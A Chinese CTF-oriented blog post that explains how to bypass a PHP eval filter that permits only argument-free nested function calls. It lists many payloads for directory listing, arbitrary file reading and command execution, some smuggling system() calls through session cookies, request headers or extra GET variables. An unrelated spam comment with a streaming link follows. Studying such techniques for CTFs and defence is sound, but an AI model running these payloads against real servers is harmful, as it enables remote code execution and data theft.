无参数rce题目特征:
<?php
if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else{
show_source(__FILE__);
}
正则表达式 1+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
类似于这样的:
scandir()可以使用里面不含参数
scandir('1')不可以使用,里面含有参数1,无法被替换删除
这里就可以利用一些函数来达成目的:
1.scandir() 方法
列如:
localeconv() 返回的数组第一个就是‘.’
scandir('.')是返回当前目录,以数组形式
current() 返回数组第一个
那么三个结合起来就可以达到无参数返回当前目录
?参数=var_dump(scandir(current(localeconv())));
就像这个样子。
也就是相当于ls
由于返回的是数组,所以可以利用数组操作函数来移动选中:
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
最后可以用highlight_file来返回文件内容
一些大佬的payload
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
//查看和读取根目录文件
//查看和读取根目录文件
2.session_id()方法
当请求头中有cookie时,可以用
session_id
可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
?参数=eval(hex2bin(session_id(session_start())));
替换掉‘Cookie:PHPSESSID=’后面的值为
<?php
$encoded = bin2hex("system();");
echo $encoded;
?>
3.readfile()方法
readfile(session_id(session_start()));
类似于session_id
`ps:这里补充一嘴2024浙江省赛决赛那道题,由于只接受code参数,所以那个提示不让用session和readfile有点多余了
4.getallheaders()
getallheaders()返回当前请求的所有请求头信息,获取所有 HTTP 标头。
也就是说可以在请求头上加一个,那个请求头会被一同返回
end()还可以指向最后一个请求头返回,那么此时已经可以道道目标了
var_dump(end(getallheaders()));
在请求头最后加上我梦想要的东西
phpinfo();
就会返回
4.get_defined_vars()
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
版本要求:PHP 4 >= 4.0.4, PHP 5, PHP 7
也就是$_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
如果只有参数a,但是经由此函数可以多加一个b来规避各种过滤
a=eval(end(current(get_defined_vars())));&b=system('ls /');
5.chdir()&array_rand()随机读文件
array_rand () 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() :交换数组中的键和值,成功时返回交换后的数组
PHP的chdir()函数用于更改脚本的当前工作目录。在执行脚本的过程中,有时候需要切换到不同的目录以访问文件或执行其他与目录相关的操作。chdir()函数提供了一种简单的方法来实现这一需求。
chdir(directory_path);
dirname()列出当前工作目录的父目录中的所有文件和目录
payload:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读取更目录,由于转码会出现斜杠,所以可以读取到更目录
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
6.关于构造·.·的其他方法
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() //返回数组中的当前单元,默认取第一个值
pos() //current的别名
reset() //将数组的内部指针指向第一个单元
end() //将数组的内部指针指向最后一个单元
next() //将数组中的内部指针向前移动一位
chr(46)就是字符"."
chr(time())
chr(current(localtime(time())))
chr(time()):
chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."
所以使用chr(time()),一个周期必定出现一次"."
chr(current(localtime(time()))):
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."
crypt()
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
7.关于查看上级目录
dirname()
如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
构造..
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
8.读取目录的函数
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()
- \W ↩
评论1
spqcqjpfmy
《守护解放西番外:我是检察官》记录片高清在线免费观看:https://www.jgz518.com/xingkong/32366.html